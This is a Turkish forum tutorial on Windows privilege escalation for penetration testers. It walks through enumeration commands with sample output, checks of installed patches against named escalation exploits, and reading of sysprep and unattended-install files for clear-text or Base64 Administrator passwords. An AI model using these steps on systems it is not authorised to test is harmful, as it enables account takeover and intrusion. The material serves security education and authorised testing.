Windows Hacking Serisi #1 | Windows Ayrıcalık Yükseltme Temelleri

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
Windows Ayrıcalık Yükseltme Temelleri

Pek çok insan, utanç verici derecede olan ciddi Windows ayrıcalıklarının artışından bahsetmiyor. Sanırım bunun nedenleri muhtemelen şöyle:

(1) Pentesting sözleşmeleri sırasında düşük seviyedeki özel bir kabuk genellikle müşteri için ihtiyacınız olan tüm kanıttır, (2) Aşamalı ortamlarda Yönetici hesabını sık sık açarsınız, (3) Meterpreter sizi tembelleştirir (getsystem = tembellik-fu), (4) Genellikle sonuçlandırmak üzere incelemeler oluşturun --> kimlik doğrulanmış nessus taraması, microsoft security baseline analizörü...

Yaygın algının aksine, Windows kutuları özenle yapılandırılırsa gerçekten iyi kilitlenebilir. Üstelik patch zaman penceresi ufaktır. Öyleyse Windows işletim sisteminin karanlık köşelerine dalalım ve SYSTEM'i alıp alamayacağımızı görelim.

Mevcut olabilecek komut satırı farklılıklarını vurgulamak için Windows'un çeşitli sürümlerini kullanacağım not edilmelidir. Mevcut olmayan veya biraz farklı çıktı üreten komutlar açısından çeşitli OS/SP farklılıkları olabileceği için bunu aklınızda bulundurun. Bu konuyu, Windows ayrıcalık yükseltmesini en genel uygulanacak şekilde yapmaya çalıştım.

Sonunda, sömürü sonrasını da ayrıca seven arkadaşım Kostas'a selam gönderiyorum, gerçekten onun makinenize girmesini istemezsiniz hehehe.


Vazgeçilmez Kaynaklar:
Windows Ayrıcalık Yükseltme Ansiklopedisi (Brett Moore) - [ame="https://www.youtube.com/watch?v=kMG8IsCohHA"]buradan[/ame].
Windows Saldırıları: AT yeni siyahtır (Chris Gates ve Rob Fuller) - [ame="https://www.youtube.com/watch?v=_8xJaaQlpBo"]buradan[/ame].
Zayıf klasör izinlerinden yararlanarak ayrıcalıkları yükseltme (Parvez Anwar) - buradan.





t0’den t3 için Δt - İlk Bilgi Toplama

Bu eğitimin başlangıç noktası, bir kutudaki ayrıcalıksız bir kabuktur. Uzaktan sömürü veya bir istemci taraflı saldırı kullanmış olabiliriz ve bir kabuğu geri aldık. Temel olarak t0 zamanında makineyi, ne yaptığını, neye bağlı olduğunu, sahip olduğumuz ayrıcalığa ve hatta hangi işletim sistemine sahip olduğumuzu anlayamıyoruz.
Başlangıçta, bazı temel bilgileri hızlı bir şekilde toplamak isteyeceğiz, böylece araziyi inceleyip durumumuzu değerlendirebiliriz.
Öncelikle hadi hangi işletim sistemine bağlı olduğumuzu bulalım.


Kod:
 [COLOR="plum"]C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601[/COLOR]


Daha sonra kutunun ana bilgisayar adını ve hangi kullanıcı olarak bağlandığımızı göreceğiz.

Kod:
 [COLOR="plum"]C:\Windows\system32> hostname
b33f

C:\Windows\system32> echo %username%
user1[/COLOR]


Şimdi bu temel bilgilere sahibiz, diğer kullanıcı hesaplarını kutuda listeliyoruz ve kendi kullanıcılarımızın bilgilerini biraz daha detaylı inceliyoruz. User1'in yerel grup Yöneticilerinin bir parçası olmadığını zaten görebiliyoruz.

Kod:
 [COLOR="plum"]C:\Windows\system32> net users

User accounts for \\B33F

-------------------------------------------------------------------------------
Administrator            b33f                     Guest
user1
The command completed successfully.

C:\Windows\system32> net user user1

User name                    user1
Full Name
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/11/2014 7:47:14 PM
Password expires             Never
Password changeable          1/11/2014 7:47:14 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/11/2014 8:05:09 PM

Logon hours allowed          All

Local Group Memberships      *Users
Global Group memberships     *None
The command completed successfully.[/COLOR]


Şu an için kullanıcılar ve izinler hakkında bilmemiz gereken tek şey bu bilgiler. Listemizde bir sonraki adım ağ oluşturma, makinenin bağlı olduğu ve bu bağlantılara hangi kuralları uyguladığı.
Öncelikle mevcut ağ arayüzlerine ve yönlendirme tablosuna bir göz atalım.


Kod:
 [COLOR="plum"]C:\Windows\system32> ipconfig /all

Windows IP Configuration

   Host Name . . . . . . . . . . . . : b33f
   Primary Dns Suffix  . . . . . . . :
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
   Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-0C-29-56-79-35
   DHCP Enabled. . . . . . . . . . . : Yes
   Autoconfiguration Enabled . . . . : Yes
   Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
   IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
   Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
   Default Gateway . . . . . . . . . : 192.168.0.1
   DHCP Server . . . . . . . . . . . : 192.168.0.1
   DHCPv6 IAID . . . . . . . . . . . : 234884137
   DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
   DNS Servers . . . . . . . . . . . : 192.168.0.1
   NetBIOS over Tcpip. . . . . . . . : Enabled

C:\Windows\system32> route print

===========================================================================
Interface List
 18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
 13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
 11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
  1...........................Software Loopback Interface 1
 16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
 15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
 19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
 14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0      192.168.0.1    192.168.0.104     10
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    306
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    306
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    306
      192.168.0.0    255.255.255.0         On-link     192.168.0.104    266
    192.168.0.104  255.255.255.255         On-link     192.168.0.104    266
    192.168.0.255  255.255.255.255         On-link     192.168.0.104    266
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    306
        224.0.0.0        240.0.0.0         On-link     192.168.0.104    266
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    306
  255.255.255.255  255.255.255.255         On-link     192.168.0.104    266
===========================================================================
Persistent Routes:
  None

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
 14     58 ::/0                     On-link
  1    306 ::1/128                  On-link
 14     58 2001::/32                On-link
 14    306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::/64                On-link
 14    306 fe80::/64                On-link
 14    306 fe80::8d2:b4e:3f57:ff97/128
                                    On-link
 11    266 fe80::5cd4:9caf:61c0:ba6e/128
                                    On-link
  1    306 ff00::/8                 On-link
 14    306 ff00::/8                 On-link
 11    266 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None
  
# arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces.

C:\Windows\system32> arp -A

Interface: 192.168.0.104 --- 0xb
  Internet Address      Physical Address      Type
  192.168.0.1           90-94-e4-c5-b0-46     dynamic
  192.168.0.101         ac-22-0b-af-bb-43     dynamic
  192.168.0.255         ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static [/COLOR]


Bu bizi aktif ağ bağlantılarına ve güvenlik duvarı kurallarına götürür.

Kod:
[COLOR="plum"] C:\Windows\system32> netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       684
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:5354         0.0.0.0:0              LISTENING       1400
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       684
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:5357              [::]:0                 LISTENING       4
  UDP    0.0.0.0:5355           *:*                                    1100
  UDP    0.0.0.0:52282          *:*                                    976
  UDP    0.0.0.0:55202          *:*                                    2956
  UDP    0.0.0.0:59797          *:*                                    1400
  UDP    127.0.0.1:1900         *:*                                    2956
  UDP    127.0.0.1:65435        *:*                                    2956
  UDP    192.168.0.104:137      *:*                                    4
  UDP    192.168.0.104:138      *:*                                    4
  UDP    192.168.0.104:1900     *:*                                    2956
  UDP    192.168.0.104:5353     *:*                                    1400
  UDP    192.168.0.104:65434    *:*                                    2956
  UDP    [::]:5355              *:*                                    1100
  UDP    [::]:52281             *:*                                    976
  UDP    [::]:52283             *:*                                    976
  UDP    [::]:55203             *:*                                    2956
  UDP    [::]:59798             *:*                                    1400
  UDP    [::1]:1900             *:*                                    2956
  UDP    [::1]:5353             *:*                                    1400
  UDP    [::1]:65433            *:*                                    2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:1900  *:*                      2956
  UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:65432  *:*                     2956
  
# The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh
firewall commands are only available from XP SP2 and upwards.

C:\Windows\system32> netsh firewall show state

Firewall status:
-------------------------------------------------------------------
Profile                           = Standard
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable
Group policy version              = Windows Firewall
Remote admin mode                 = Disable

Ports currently open on all network interfaces:
Port   Protocol  Version  Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.

C:\Windows\system32> netsh firewall show config

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Allowed programs configuration for Domain profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Domain profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Domain profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Enable

Service configuration for Standard profile:
Mode     Customized  Name
-------------------------------------------------------------------
Enable   No          Network Discovery

Allowed programs configuration for Standard profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------
Enable   Inbound              COMRaider / E:\comraider\comraider.exe
Enable   Inbound              nc.exe / C:\users\b33f\desktop\nc.exe

Port configuration for Standard profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------

ICMP configuration for Standard profile:
Mode     Type  Description
-------------------------------------------------------------------
Enable   2     Allow outbound packet too big

Log configuration:
-------------------------------------------------------------------
File ********   = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size   = 4096 KB
Dropped packets = Disable
Connections     = Disable[/COLOR]


Son olarak, riske atılan kutuda neyin çalıştığına kısa bir göz atacağız: zamanlanmış görevler, çalışan işlemler, başlatılan hizmetler ve yüklü sürücüler.

Kod:
 [COLOR="plum"]# This will display verbose output for all scheduled tasks, below you can see sample output for a
single task.

C:\Windows\system32> schtasks /query /fo LIST /v

Folder: \Microsoft\Windows Defender
HostName:                             B33F
TaskName:                             \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time:                        1/22/2014 5:11:13 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               N/A
Task To Run:                          c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
                                      -WinTask -RestrictPrivilegesScan
Start In:                             N/A
Comment:                              Scheduled Scan
Scheduled Task State:                 Enabled
Idle Time:                            Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management:                     No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           5:11:13 AM
Start Date:                           1/1/2000
End Date:                             1/1/2100
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled
[..Snip..]

# The following command links running processes to started services.

C:\Windows\system32> tasklist /SVC

Image Name                     PID Services
========================= ======== ============================================
System Idle Process              0 N/A
System                           4 N/A
smss.exe                       244 N/A
csrss.exe                      332 N/A
csrss.exe                      372 N/A
wininit.exe                    380 N/A
winlogon.exe                   428 N/A
services.exe                   476 N/A
lsass.exe                      484 SamSs
lsm.exe                        496 N/A
svchost.exe                    588 DcomLaunch, PlugPlay, Power
svchost.exe                    668 RpcEptMapper, RpcSs
svchost.exe                    760 Audiosrv, Dhcp, eventlog,
                                   HomeGroupProvider, lmhosts, wscsvc
svchost.exe                    800 AudioEndpointBuilder, CscService, Netman,
                                   SysMain, TrkWks, UxSms, WdiSystemHost,
                                   wudfsvc
svchost.exe                    836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
                                   LanmanServer, MMCSS, ProfSvc, Schedule,
                                   seclogon, SENS, ShellHWDetection, Themes,
                                   Winmgmt, wuauserv
audiodg.exe                    916 N/A
svchost.exe                    992 EventSystem, fdPHost, netprofm, nsi,
                                   WdiServiceHost, WinHttpAutoProxySvc
svchost.exe                   1104 CryptSvc, Dnscache, LanmanWorkstation,
                                   NlaSvc
spoolsv.exe                   1244 Spooler
svchost.exe                   1272 BFE, DPS, MpsSvc
mDNSResponder.exe             1400 Bonjour Service
taskhost.exe                  1504 N/A
taskeng.exe                   1556 N/A
vmtoolsd.exe                  1580 VMTools
dwm.exe                       1660 N/A
explorer.exe                  1668 N/A
vmware-usbarbitrator.exe      1768 VMUSBArbService
TPAutoConnSvc.exe             1712 TPAutoConnSvc
[..Snip..]

C:\Windows\system32> net start

These Windows services are started:

   Application Experience
   Application Information
   Background Intelligent Transfer Service
   Base Filtering Engine
   Bluetooth Support Service
   Bonjour Service
   COM+ Event System
   COM+ System Application
   Cryptographic Services
   DCOM Server Process Launcher
   Desktop Window Manager Session Manager
   DHCP Client
   Diagnostic Policy Service
   Diagnostic Service Host
   Diagnostic System Host
   Distributed Link Tracking Client
   Distributed Transaction Coordinator
   DNS Client
   Function Discovery Provider Host
   Function Discovery Resource Publication
   Group Policy Client
[..Snip..]
   
# This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes
than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise.

C:\Windows\system32> DRIVERQUERY

Module Name  Display Name           Driver Type   Link Date
============ ====================== ============= ======================
1394ohci     1394 OHCI Compliant Ho Kernel        11/20/2010 6:01:11 PM
ACPI         Microsoft ACPI Driver  Kernel        11/20/2010 4:37:52 PM
AcpiPmi      ACPI Power Meter Drive Kernel        11/20/2010 4:47:55 PM
adp94xx      adp94xx                Kernel        12/6/2008 7:59:55 AM
adpahci      adpahci                Kernel        5/2/2007 1:29:26 AM
adpu320      adpu320                Kernel        2/28/2007 8:03:08 AM
AFD          Ancillary Function Dri Kernel        11/20/2010 4:40:00 PM
agp440       Intel AGP Bus Filter   Kernel        7/14/2009 7:25:36 AM
aic78xx      aic78xx                Kernel        4/12/2006 8:20:11 AM
aliide       aliide                 Kernel        7/14/2009 7:11:17 AM
amdagp       AMD AGP Bus Filter Dri Kernel        7/14/2009 7:25:36 AM
amdide       amdide                 Kernel        7/14/2009 7:11:19 AM
AmdK8        AMD K8 Processor Drive Kernel        7/14/2009 7:11:03 AM
AmdPPM       AMD Processor Driver   Kernel        7/14/2009 7:11:03 AM
amdsata      amdsata                Kernel        3/19/2010 9:08:27 AM
amdsbs       amdsbs                 Kernel        3/21/2009 2:35:26 AM
amdxata      amdxata                Kernel        3/20/2010 12:19:01 AM
AppID        AppID Driver           Kernel        11/20/2010 5:29:48 PM
arc          arc                    Kernel        5/25/2007 5:31:06 AM
[..Snip..][/COLOR]



T4 için Δt – WMIC’nin Gizli Sanatları

WMIC'den (Windows Yönetim Araçları Komut Satırı) ayrı ayrı bahsetmek istiyorum, çünkü Windows'un en kullanışlı komut satırı aracı. WMIC, bilgi toplama ve kullanım sonrası için çok pratik olabilir. Bununla birlikte, biraz hantal ama çıktısı istenilen çok şey bırakıyor.
WMIC kullanımının tam olarak açıklanması, tamamen kendine ait ayrı bir eğitim gerektirecektir. Biçimlendirme nedeniyle çıktının bir kısmının görüntülenmesinin zor olacağından bahsetmiyorum bile.

Konuyla ilgili okumaya değer iki kaynağı aşağıda listeledim:
Ninjitsu Komut Satırı(SynJunkie) - buradan
Windows WMIC Komut Satırı (ComputerHope) - buradan

Ne yazık ki bazı varsayılan pencere yapılandırmaları, Kullanıcı Yöneticiler grubunda olmadıkça WMIC'e erişime izin vermez (bu gerçekten iyi bir fikirdir). Sanal makineler ile yaptığım testlerden, XP'nin herhangi bir sürümünün düşük ayrıcalıklı bir hesaptan WMIC'e erişime izin vermediğini fark ettim. Aksine, Windows 7 Professional ve Windows 8 Enterprise'ın varsayılan yüklemeleri, düşük ayrıcalıklı kullanıcıların WMIC kullanmasına ve herhangi bir ayarı değiştirmeden işletim sistemini sorgulamasına izin verdi. Hedef makine hakkında bilgi toplamak için WMIC kullandığımız için tam da ihtiyacımız olan şey zaten bu.
Size WMIC'in sunduğu kapsamlı seçenekler hakkında bir fikir vermek için, aşağıdaki mevcut komut satırı anahtarlarını listeledim.


Kod:
 [COLOR="Plum"]C:\Windows\system32> wmic /?

[global switches] 

The following global switches are available:
/NAMESPACE           Path for the namespace the alias operate against.
/ROLE                Path for the role containing the alias definitions.
/NODE                Servers the alias will operate against.
/IMPLEVEL            Client impersonation level.
/AUTHLEVEL           Client authentication level.
/LOCALE              Language id the client should use.
/PRIVILEGES          Enable or disable all privileges.
/TRACE               Outputs debugging information to stderr.
/RECORD              Logs all input commands and output.
/INTERACTIVE         Sets or resets the interactive mode.
/FAILFAST            Sets or resets the FailFast mode.
/USER                User to be used during the session.
/PASSWORD            Password to be used for session login.
/OUTPUT              Specifies the mode for output redirection.
/APPEND              Specifies the mode for output redirection.
/AGGREGATE           Sets or resets aggregate mode.
/AUTHORITY           Specifies the  for the connection.
/?[:<BRIEF|FULL>]    Usage information.

For more information on a specific global switch, type: switch-name /?


The following alias/es are available in the current role:
ALIAS                    - Access to the aliases available on the local system
BASEBOARD                - Base board (also known as a motherboard or system board) management.
BIOS                     - Basic input/output services (BIOS) management.
BOOTCONFIG               - Boot configuration management.
CDROM                    - CD-ROM management.
COMPUTERSYSTEM           - Computer system management.
CPU                      - CPU management.
CSPRODUCT                - Computer system product information from SMBIOS.
DATAFILE                 - DataFile Management.
DCOMAPP                  - DCOM Application management.
DESKTOP                  - User's Desktop management.
DESKTOPMONITOR           - Desktop Monitor management.
DEVICEMEMORYADDRESS      - Device memory addresses management.
DISKDRIVE                - Physical disk drive management.
DISKQUOTA                - Disk space usage for NTFS volumes.
DMACHANNEL               - Direct memory access (DMA) channel management.
ENVIRONMENT              - System environment settings management.
FSDIR                    - Filesystem directory entry management.
GROUP                    - Group account management.
IDECONTROLLER            - IDE Controller management.
IRQ                      - Interrupt request line (IRQ) management.
JOB                      - Provides  access to the jobs scheduled using the schedule service.
LOADORDER                - Management of system services that define execution dependencies.
LOGICALDISK              - Local storage device management.
LOGON                    - LOGON Sessions.
MEMCACHE                 - Cache memory management.
MEMORYCHIP               - Memory chip information.
MEMPHYSICAL              - Computer system's physical memory management.
NETCLIENT                - Network Client management.
NETLOGIN                 - Network login information (of a particular user) management.
NETPROTOCOL              - Protocols (and their network characteristics) management.
NETUSE                   - Active network connection management.
NIC                      - Network Interface Controller (NIC) management.
NICCONFIG                - Network adapter management.
NTDOMAIN                 - NT Domain management.
NTEVENT                  - Entries in the NT Event Log.
NTEVENTLOG               - NT eventlog file management.
ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board).
OS                       - Installed Operating System/s management.
PAGEFILE                 - Virtual memory file swapping management.
PAGEFILESET              - Page file settings management.
PARTITION                - Management of partitioned areas of a physical disk.
PORT                     - I/O port management.
PORTCONNECTOR            - Physical connection ports management.
PRINTER                  - Printer device management.
PRINTERCONFIG            - Printer device configuration management.
PRINTJOB                 - Print job management.
PROCESS                  - Process management.
PRODUCT                  - Installation package task management.
QFE                      - Quick Fix Engineering.
QUOTASETTING             - Setting information for disk quotas on a volume.
RDACCOUNT                - Remote Desktop connection permission management.
RDNIC                    - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS            - Permissions to a specific Remote Desktop connection.
RDTOGGLE                 - Turning Remote Desktop listener on or off remotely.
RECOVEROS                - Information that will be gathered from memory when the operating system fails.
REGISTRY                 - Computer system registry management.
SCSICONTROLLER           - SCSI Controller management.
SERVER                   - Server information management.
SERVICE                  - Service application management.
SHADOWCOPY               - Shadow copy management.
SHADOWSTORAGE            - Shadow copy storage area management.
SHARE                    - Shared resource management.
SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system.
SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement.
SOUNDDEV                 - Sound Device management.
STARTUP                  - Management of commands that run automatically when users log onto the computer 
                           system.
SYSACCOUNT               - System account management.
SYSDRIVER                - Management of the system driver for a base service.
SYSTEMENCLOSURE          - Physical system enclosure management.
SYSTEMSLOT               - Management of physical connection points including ports,  slots and 
                           peripherals, and proprietary connections points.
TAPEDRIVE                - Tape drive management.
TEMPERATURE              - Data management of a temperature sensor (electronic thermometer).
TIMEZONE                 - Time zone data management.
UPS                      - Uninterruptible power supply (UPS) management.
USERACCOUNT              - User account management.
VOLTAGE                  - Voltage sensor (electronic voltmeter) data management.
VOLUME                   - Local storage volume management.
VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA          - Per user storage volume quota management.
WMISET                   - WMI service operational parameters management.

For more information on a specific alias, type: alias /?

CLASS     - Escapes to full WMI schema.
PATH      - Escapes to full WMI object paths.
CONTEXT   - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.

For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?[/COLOR]


İşleri basitleştirmek için, hedef makineye bırakılabilen ve aşağıdaki bilgileri çıkarmak için WMIC'i kullanacak bir komut dosyası oluşturdum: işlemler, hizmetler, kullanıcı hesapları, kullanıcı grupları, ağ arayüzleri, Sabit Disk bilgileri, Ağ Paylaşımı bilgileri, yüklü Windows patch’leri, başlangıçta çalışan programlar, yüklü yazılımların listesi, işletim sistemi ve saat dilimi hakkında bilgiler.
Eğer birisi listeye eklenmesi gereken bir şey düşünürse diye değerli bilgi parçalarını çıkarmak için çeşitli bayrakları ve parametreleri inceledim. Lütfen aşağıya yorum bırakın. Yerleşik çıktı özelliklerini kullanan komut dosyası, tüm sonuçları okunabilir bir html dosyasına yazacaktır.

Komut dosyamı indirebilirsiniz (wmic_info.bat) – buradan
Windows 7 Sanal Makinede (kötü bir şekilde yamalanmış) örnek çıktı dosyası - buradan




t5’ten t6 için Δt – Hızlı Başarısızlıklar

Devam etmeden önce, şimdiye kadar epeyce birikmesi gerektiği için, topladığınız bilgileri gözden geçirmek için bir dakikanızı ayırmalısınız. Planımızın bir sonraki adımı, kullanıcı ayrıcalıklarımızı yükseltmek için kolayca kullanılabilecek bazı hızlı güvenlik arızalarını aramaktır.
Bakmamız gereken ilk ve en belirgin şey patch seviyesidir. Ana bilgisayarın kötü bir şekilde yamalandığını görürsek, daha fazla endişelenmemize gerek yok. WMIC script’im zaten tüm yüklü patch’leri listeleyecek, aşağıda örnek komut satırı çıktısını görebilirsiniz.

Kod:
 [COLOR="plum"]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn

Caption                                     Description      HotFixID   InstalledOn
http://support.microsoft.com/?kbid=2727528  Security Update  KB2727528  11/23/2013
http://support.microsoft.com/?kbid=2729462  Security Update  KB2729462  11/26/2013
http://support.microsoft.com/?kbid=2736693  Security Update  KB2736693  11/26/2013
http://support.microsoft.com/?kbid=2737084  Security Update  KB2737084  11/23/2013
http://support.microsoft.com/?kbid=2742614  Security Update  KB2742614  11/23/2013
http://support.microsoft.com/?kbid=2742616  Security Update  KB2742616  11/26/2013
http://support.microsoft.com/?kbid=2750149  Update           KB2750149  11/23/2013
http://support.microsoft.com/?kbid=2756872  Update           KB2756872  11/24/2013
http://support.microsoft.com/?kbid=2756923  Security Update  KB2756923  11/26/2013
http://support.microsoft.com/?kbid=2757638  Security Update  KB2757638  11/23/2013
http://support.microsoft.com/?kbid=2758246  Update           KB2758246  11/24/2013
http://support.microsoft.com/?kbid=2761094  Update           KB2761094  11/24/2013
http://support.microsoft.com/?kbid=2764870  Update           KB2764870  11/24/2013
http://support.microsoft.com/?kbid=2768703  Update           KB2768703  11/23/2013
http://support.microsoft.com/?kbid=2769034  Update           KB2769034  11/23/2013
http://support.microsoft.com/?kbid=2769165  Update           KB2769165  11/23/2013
http://support.microsoft.com/?kbid=2769166  Update           KB2769166  11/26/2013
http://support.microsoft.com/?kbid=2770660  Security Update  KB2770660  11/23/2013
http://support.microsoft.com/?kbid=2770917  Update           KB2770917  11/24/2013
http://support.microsoft.com/?kbid=2771821  Update           KB2771821  11/24/2013
[..Snip..][/COLOR]



Windows’ta her zaman olduğu gibi, çıktı tam olarak kullanıma hazır değil. En iyi strateji, ayrıcalık yükseltme sömürülerini aramak ve ilgili KB yama numaralarına bakmaktır. Bu tür sömürüler arasında, bunlarla sınırlı olmamak üzere, KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799) bulunur. İşletim sistemi sürümünü ve Hizmet Paketini sıraladıktan sonra, hangi ayrıcalık yükseltme güvenlik açıklarının mevcut olabileceğini bulmalısınız. KB yama numaralarını kullanarak, eksik olup olmadığını görmek için yüklü yamaları grep edebilirsiniz.
Aşağıda, yamaları grep etmek için olan sözdizimini görebilirsiniz:


Kod:
 [COLOR="plum"]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."[/COLOR]



Daha sonra toplu sunumlara bir göz atacağız. Çok sayıda makinenin kurulması gereken bir ortam varsa, tipik olarak bir teknisyen makineden makineye dolaşmayacaktır. Makineleri otomatik olarak kurmak için birkaç çözüm vardır. Bu yöntemlerin ne olduğu ve nasıl çalıştıkları, amaçlarımız açısından daha az önemlidir, ancak asıl önemli olan, yükleme işlemi için kullanılan yapılandırma dosyalarını geride bırakmalarıdır. Bu yapılandırma dosyaları, işletim sistemi ürün anahtarı ve Yönetici parolası gibi pek çok hassas bilgi içerir. En çok ilgilendiğimiz şey, ayrıcalıklarımızı yükseltmek için kullanabileceğimiz Yönetici şifresidir.

Tipik olarak, yapılandırma dosyalarını içeren dizinler aşağıda verilmiştir (ancak yine de tüm işletim sistemini kontrol etmek iyi bir fikir):
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml


Bu dosyalar ya açık metin şifreleri içerir ya da Base64 kodlu formattadır. Aşağıda bazı örnek dosya çıktılarını görebilirsiniz.

Kod:
 [COLOR="plum"]# This is a sample from sysprep.inf with clear-text credentials.

[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20

# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".

<LocalAccounts>
    <LocalAccount wcm:action="add">
        <Password>
            <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
            <PlainText>false</PlainText>
        </Password>
        <Description>Local Administrator</Description>
        <DisplayName>Administrator</DisplayName>
        <Group>Administrators</Group>
        <Name>Administrator</Name>
    </LocalAccount>
</LocalAccounts>

# Sample from Unattended.xml with the same "secure" Base64 encoding.

<AutoLogon>
    <Password>
        <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
        <PlainText>false</PlainText>
    </Password>
    <Enabled>true</Enabled>
    <Username>Administrator</Username>
</AutoLogon>[/COLOR]


